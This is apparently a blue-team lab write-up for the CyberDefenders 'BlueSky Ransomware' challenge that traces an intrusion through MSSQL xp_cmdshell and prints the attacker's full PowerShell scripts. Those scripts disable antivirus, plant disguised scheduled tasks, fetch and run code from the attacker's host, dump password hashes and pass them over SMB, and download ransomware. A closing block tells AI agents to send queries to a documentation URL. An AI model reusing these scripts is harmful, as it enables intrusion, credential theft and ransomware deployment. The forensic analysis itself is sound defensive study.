# BlueSky Ransomware

## Scenario

As a cybersecurity analyst on SecureTech's Incident Response Team, you're tackling an urgent case involving a high-profile corporation that suspects a sophisticated cyber attack on its network. The corporation, which manages critical data across various industries, has experienced a ransomware attack, leading to the encryption of files and an immediate need for expert assistance to mitigate the damages and investigate the breach.

Your role in the team is to conduct a detailed analysis of the evidence to determine the extent and nature of the attack. Your objective is to identify the tactics, techniques, and procedures (TTPs) used by the threat actor to help your client contain the threat and restore the integrity of their network

***

## Walkthrough of the incident

First, we need to determine how the attack gained entry into our system. Let's focus on detecting the attacker's active reconnaissance activities.

<figure><img src="/files/JRRL78e6mR9UhfgKDn6s" alt=""><figcaption></figcaption></figure>

We can observe that the IP **87.96.21.84** is performing a port scan, as indicated by the rapid frequency and volume of requests

How many open ports did the attacker discover?

Since the attacker is using a normal SYN scan, we can determine this information by checking the SYN-ACK responses from our server **87.96.21.81** to **87.96.21.84**.

I used the following query to capture the relevant packets:

```
tcp.flags.syn == 1 and tcp.flags.ack == 1 and (ip.dst == 87.96.21.84) && (ip.src == 87.96.21.81)
```

<figure><img src="/files/AMd1aZHBfrbFHn1b10cR" alt=""><figcaption></figcaption></figure>

He discovered 5 open TCP ports:

* **445:** SMB
* **139:** NetBIOS
* **135:** Microsoft RPC
* **5357:** WS-Discovery
* **1433:** Microsoft SQL Server

After the reconnaissance phase, the attacker will choose which service to exploit for the attack. We will track the IP address **87.96.21.84** to determine which port he would start enumerating.

<figure><img src="/files/rdjSf4PavIjxs5AQBTpv" alt=""><figcaption></figcaption></figure>

The attacker began enumerating the Microsoft SQL Server and gained access using the `sa` (system administrator) account.

<figure><img src="/files/qmRRmsVi0FubWgoTh1f5" alt=""><figcaption></figcaption></figure>

Then performed some changes

<figure><img src="/files/MJVFTlH8quW9Tdc64MOu" alt=""><figcaption></figcaption></figure>

We can notice the following:

1- `.show.advanced.options changed from 0 to 1`: This suggests that some configuration setting related to showing advanced options was altered&#x20;

2- `.xp_cmdshell Changed from 0 to 1`: xp\_cmdshell is a feature in Microsoft SQL Server that allows users to execute system-level commands directly from the SQL Server&#x20;

3- `Reconfigure Command`: The RECONFIGURE command typically applies changes to SQL Server configurations

### **Summary**

The attacker changed several configurations and enabled `xp_cmdshell`, likely to facilitate initial access. Following this, they used `xp_cmdshell` to upload an executable file.

<figure><img src="/files/xTYSFVJQcbwJRVshKmok" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IM28YFZs7BDcGZmnZqmA" alt=""><figcaption></figcaption></figure>

The attacker then added the executable file to the temp directory, renaming it **Gjmwb.vbs**, which is likely a reverse shell.

<figure><img src="/files/ZSDdTwB21qevkoW9LioG" alt=""><figcaption></figcaption></figure>

This is how the attacker gained initial access.

Following that, the attacker escalated privileges by injecting `winlogon.exe` using **msfconsole**. Event ID 400 indicates when a new PowerShell host process has started.

&#x20;

<figure><img src="/files/fUUdCLqxk8MnTqHqClKf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n0GRVuXbMvDk6YCbrNEm" alt=""><figcaption></figcaption></figure>

After obtaining administrative privileges, the attacker began downloading various files.

<figure><img src="/files/UGsrEIjgvl1LX7MfhWus" alt=""><figcaption></figcaption></figure>

The attacker opened a Python server to upload several PowerShell modules. The previous image shows that he is transferring a file named **checking.ps1**.

**Checking.ps1 code:**

```powershell
$priv = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
$osver = ([environment]::OSVersion.Version).Major

$WarningPreference = "SilentlyContinue"
$ErrorActionPreference = "SilentlyContinue"
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

$url = "http://87.96.21.84"

Function Test-URL {
    param (
        [string]$url
    )
    
    try {
        $request = Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop
        if ($request.StatusCode -eq 200) {
            return $true
        } else {
            return $false
        }
    } catch {
        return $false
    }
}

Function Test-ScriptURL {
    param (
        [string]$scriptUrl
    )
    
    try {
        $request = Invoke-WebRequest -Uri $scriptUrl -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop
        if ($request.StatusCode -eq 200) {
            return $true
        } else {
            return $false
        }
    } catch {
        return $false
    }
}

Function StopAV {

    if ($osver -eq "10") {
        Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
    }
    Function Disable-WindowsDefender {

        if ($osver -eq "10") {

            Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
            Set-MpPreference -ExclusionPath "C:\ProgramData\Oracle" -ErrorAction SilentlyContinue
    

            Set-MpPreference -ExclusionPath "C:\ProgramData\Oracle\Java" -ErrorAction SilentlyContinue
            Set-MpPreference -ExclusionPath "C:\Windows" -ErrorAction SilentlyContinue
    

            $defenderRegistryPath = "HKLM:\SOFTWARE\Microsoft\Windows Defender"
            $defenderRegistryKeys = @(
                "DisableAntiSpyware",
                "DisableRoutinelyTakingAction",
                "DisableRealtimeMonitoring",
                "SubmitSamplesConsent",
                "SpynetReporting"
            )
    

            if (-not (Test-Path $defenderRegistryPath)) {
                New-Item -Path $defenderRegistryPath -Force | Out-Null
            }
    

            foreach ($key in $defenderRegistryKeys) {
                Set-ItemProperty -Path $defenderRegistryPath -Name $key -Value 1 -ErrorAction SilentlyContinue
            }
    

            Get-Service WinDefend | Stop-Service -Force -ErrorAction SilentlyContinue
            Set-Service WinDefend -StartupType Disabled -ErrorAction SilentlyContinue
        }
    }
    

    $servicesToStop = "MBAMService", "MBAMProtection", "*Sophos*"
    foreach ($service in $servicesToStop) {
        Get-Service | Where-Object { $_.DisplayName -like $service } | ForEach-Object {
            Stop-Service $_ -ErrorAction SilentlyContinue
            Set-Service $_ -StartupType Disabled -ErrorAction SilentlyContinue
        }
    }
}


Function CleanerEtc {
    $WebClient = New-Object System.Net.WebClient
    $WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\ProgramData\del.ps1") | Out-Null
    C:\Windows\System32\schtasks.exe /f /tn "\Microsoft\Windows\MUI\LPupdate" /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create | Out-Null
    Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/ichigo-lite.ps1'))
}


Function CleanerNoPriv {
    $WebClient = New-Object System.Net.WebClient
    $WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\Users\del.ps1") | Out-Null
    C:\Windows\System32\schtasks.exe /create /tn "Optimize Start Menu Cache Files-S-3-5-21-2236678155-433529325-1142214968-1237" /sc HOURLY /f /mo 3 /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass C:\Users\del.ps1" | Out-Null
}

$scriptUrl = "http://87.96.21.84/del.ps1"

if (Test-URL -url $url) {
    Write-Host "Connection to $url successful. Proceeding with execution."
    

    if (Test-ScriptURL -scriptUrl $scriptUrl) {
        Write-Host "Script at $scriptUrl is reachable."

        if ($priv) {
            CleanerEtc

            $encodedDiscovery = "SW52b2tlLUV4cHJlc3Npb24gIndob2FtaSI="
            $decodedDiscovery = [System.Convert]::FromBase64String($encodedDiscovery)
            $commandDiscovery = [System.Text.Encoding]::UTF8.GetString($decodedDiscovery)
            powershell -exec bypass -w 1 $commandDiscovery

            Write-Host "Privilege level: SYSTEM"

        } else {
            CleanerNoPriv
            Write-Host "Privilege level: User"
        }
    } else {
        Write-Host "Script at $scriptUrl is not reachable. Terminating."
        exit
    }
} else {
    Write-Host "Connection to $url failed. Terminating."
    exit
}

if ($priv -eq $true) {
    try {
        StopAV
    } catch {}
    Start-Sleep -Seconds 1
    CleanerEtc
} else {
    CleanerNoPriv
```

#### Code Functions Overview

The code includes several functions, with the most important ones summarized below:

1. **Test-URL:** Checks if a given URL is reachable by using `Invoke-WebRequest` to send a request. It returns true if the response status code is 200 (OK).
2. **Test-ScriptURL:** Functions similarly to `Test-URL`, returning true if the script URL is accessible.
3. **StopAV:** Disables Windows Defender and other antivirus services if the script is running with administrative privileges.
   * It first checks the OS version, and if it is Windows 10, it disables real-time monitoring for Windows Defender.
   * It modifies Windows Defender registry keys to disable various protections and stops the Windows Defender service.
   * It also stops and disables other security services matching specified names (e.g., "MBAMService," "MBAMProtection," and services with "Sophos" in their display name).
4. **CleanerEtc:** This function can be used for persistence.
   * Downloads `del.ps1` from a specified URL and saves it to `C:\ProgramData\`.
   * Uses `schtasks.exe` to create a scheduled task that runs `del.ps1` hourly under the SYSTEM account, named **LPupdate**.
   * Downloads and executes another script (`ichigo-lite.ps1`) from the same server.

<figure><img src="/files/HlNILzDbmKrNrz4c080z" alt=""><figcaption></figcaption></figure>

He also downloaded del.ps1

```powershell
Get-WmiObject _FilterToConsumerBinding -Namespace root\subscription | Remove-WmiObject

$list = "taskmgr", "perfmon", "SystemExplorer", "taskman", "ProcessHacker", "procexp64", "procexp", "Procmon", "Daphne"
foreach($task in $list)
{
    try {
        stop-process -name $task -Force
    }
    catch {}
}

stop-process $pid -Force
```

Which does the following:&#x20;

1- Remove WMI Subscriptions(Stopping windows notifications)&#x20;

2- Terminate Specific Processes in $list variable

He downloaded another module called `inchigo-lite.ps1`

<figure><img src="/files/6oQ0JSsEBYFfUdXYIuNr" alt=""><figcaption></figcaption></figure>

```powershell
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/Invoke-PowerDump.ps1')
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/Invoke-SMBExec.ps1')

$hostsContent = Invoke-WebRequest -Uri "http://87.96.21.84/extracted_hosts.txt" | Select-Object -ExpandProperty Content -ErrorAction Stop

$EncodedCommand = "KE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vODcuOTYuMjEuODQvSW52b2tlLVBvd2VyRHVtcC5wczEnKSB8IEludm9rZS1FeHByZXNzaW9uDQoNCg=="
Invoke-Expression -Command ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedCommand)))


$EncodedExec = "SW52b2tlLVBvd2VyRHVtcCB8IE91dC1GaWxlIC1GaWxlUGF0aCAiQzpcUHJvZ3JhbURhdGFcaGFzaGVzLnR4dCI="
Invoke-Expression -Command ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedExec)))


$usernames = @()
$passwordHashes = @()
$hashesContent = Get-Content -Path "C:\ProgramData\hashes.txt" -ErrorAction SilentlyContinue

if ($hashesContent) {
    foreach ($line in $hashesContent) {
        $pattern =  "^(.*?):\d+:(.*?):(.*?):.*?:"

        if ($line -match $pattern) {
            $username = $matches[1].Trim()
            $passwordHash = $matches[3].Trim()
            $usernames += $username
            $passwordHashes += $passwordHash
        }
    }
}

if ($usernames.Count -gt 0 -and $passwordHashes.Count -gt 0) {
    if ($hostsContent) {
        foreach ($targetHost in $hostsContent -split "`n") {
            if (![string]::IsNullOrWhiteSpace($targetHost)) {
                $username = $usernames[0]
                $password = $passwordHashes[0]
                Invoke-SMBExec -Target $targetHost -Username $username -Hash $password
            }
        }
    } 
}
    
Function Download-FileFromURL {
    param (
        [string]$url,
        [string]$destinationPath
    )

    try {
        $webClient = New-Object System.Net.WebClient
        $webClient.DownloadFile($url, $destinationPath)
        Write-Host "File downloaded from $url to $destinationPath"
        return $true
    } catch {
        Write-Host "Error downloading file from $url"
        return $false
    }
}

$blueUri = "http://87.96.21.84/javaw.exe"
$downloadDestination = "C:\ProgramData\javaw.exe"

$downloadSuccess = Download-FileFromURL -url $blueUri -destinationPath $downloadDestination

if ($downloadSuccess) {
    # Start-Process -FilePath $downloadDestination -ArgumentList "/silent" -NoNewWindow -Wait
}
```

#### Code Functionality Overview

The code performs the following actions:

1. **Download and Execute Remote Scripts:**
   * **Invoke-PowerDump.ps1:** Used to dump hashes from the local machine.
   * **Invoke-SMBExec.ps1:** Facilitates command execution for any user using their hash, supporting SMB1 and SMB2.1, with or without SMB signing.
2. **Retrieve Hostnames:**
   * Downloads a text file containing hostnames (or IP addresses) from a remote server, which could be used for lateral movement. The `-ErrorAction Stop` parameter ensures the script halts if an error occurs.
3. **Base64 Decoding and Command Execution:**
   * Decodes some commands to execute the downloaded remote scripts.
4. **Extract Usernames and Password Hashes:**
   * Reads the file generated by PowerDump and stores the usernames and password hashes in an array for later use.
5. **Authenticate Against Remote Hosts:**
   * If valid usernames and password hashes are found, it attempts to authenticate to the hosts listed in `hostsContent` using `Invoke-SMBExec`.
6. **Download a File from a URL:**
   * Downloads an executable file named **javaw\.exe**, which is suspected to be ransomware.

After scanning the hash of **javaw\.exe** (`3e035f2d7d30869ce53171ef5a0f761bfb9c14d94d9fe6da385e20b8d96dc2fb`) using VirusTotal, we can confirm that it is the ransomware used by the attacker, associated with the Conti and Bluesky families.

<figure><img src="/files/l16EZmP8g65rhCnvyoNS" alt=""><figcaption></figcaption></figure>

I hope you enjoyed :)

Lab Link: <https://cyberdefenders.org/blueteam-ctf-challenges/bluesky-ransomware/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://h05am10.gitbook.io/h05am10/write-ups/cyberdefenders/network-forensics/bluesky-ransomware.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
